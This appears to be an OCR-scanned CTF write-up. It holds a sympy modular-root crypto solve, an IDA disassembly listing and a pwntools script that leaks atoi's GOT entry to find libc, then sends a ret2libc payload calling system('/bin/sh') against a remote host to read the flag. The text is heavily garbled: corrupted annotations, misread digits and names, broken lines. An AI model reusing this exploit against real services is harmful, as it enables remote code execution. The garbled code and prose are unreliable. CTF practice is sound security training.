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from Crypto.Util.number import *
from sympy.ntheory. residue_ntheory import nthroot_mod

c, p= 4124820799737107236308837008524397355107786950414769996181324333556950154206980059406402767327725312238673053581148641438494212320157665395208337575556385 , 13107939563507459774616204141253747489232063336204173944123263284507604328885¢

print(long_to_bytes(nthroot_mod(c, 2, p)))

inverse

HIHB, RSN FHRSETRHOLIE, FllworkiFfERIRH =

read_int();
Jnb: > 48 )

printf("leave me a msg
return read(@, buf, nby

ROPgadgeti&#kZint 0x80, FilA%fBret2libc, FIFmainiputsittEatoifitsit

N R N s [E—
-text:08049498 8D 45 D8 lea eax, [ebp+s]
.text:0804949E 58 push eax
-text:@804949F E8 6C FC FF FF call _puts

- text:0804949F

.text:080494A4 83 C4 10 add esp, 16h
-text:080494A7 83 EC OC sub esp, @Ch
-text:080494AA 8D 83 3@ E@ FF FF lea eax, (aInputhorlc
-text:080494B0 50 push eax
-text:080494B1 E8 3A FC FF FF call _printf
-text:880494B1

-text:880494B6 83 C4 1@ add esp, 16h
.text:080494B9 83 EC 08 sub esp, 8
-text:080494BC 8D 83 3C 00 ©0 @0 lea eax, (tag - 804BF
.text:080494C2 58 push eax
-text:080494C3 8D 83 42 EO@ FF FF lea eax, (a/s - 8@4BF
.text:080494C9 50 push eax
.text:080494CA E8 71 FC FF FF call ___isoc99_scanf

ZRFLAERmainE# iR Iputs, EFEERI AworkiEiss — Npayload

payloadl = p32(atoi_got + 0x28)*16 + p32(@x0804949B) #atoiifret/5's Aebpt', [l dis(I{HZ-0x28, {tebp+sififatoiifigot#

#@ipayload3kgetshell

payload2 = b'a’ * 64 + p32(system) + b'a’ * 4 + p32(binsh)

182Iflag

e

#1/usr/bin/python3

from pun import *

ip = "124.71.135.126:30047".split(

¢ = remote(ip[e], ip[1])
libc = ELF("./pwn.libc.s0.6")
elf = ELF("./pwn")

atoi_got = elf.got["atoi"]

c.sendline(b'abc")
c.sendline(b'-1')

payload = p32(atoi_got + 0x28)*16 + p32(6x0804949B)
c.recvuntil(b"msg:")

c.sendline(payload)

atoi_addr = u32(c.recv(4))

libcbase = atoi_addr - libc.symbols["atoi"]
system = libcbase + libc.symbols["systen"]
binsh = libcbase + next(libc.search(b"/bin/sh"))

payload = b'a’ * 64 + p32(system) + b'a'*4 + p32(binsh)
c.sendline(b'-1')

c.sendline(payload)

.sendline(b'cat /flag')

.interactive()
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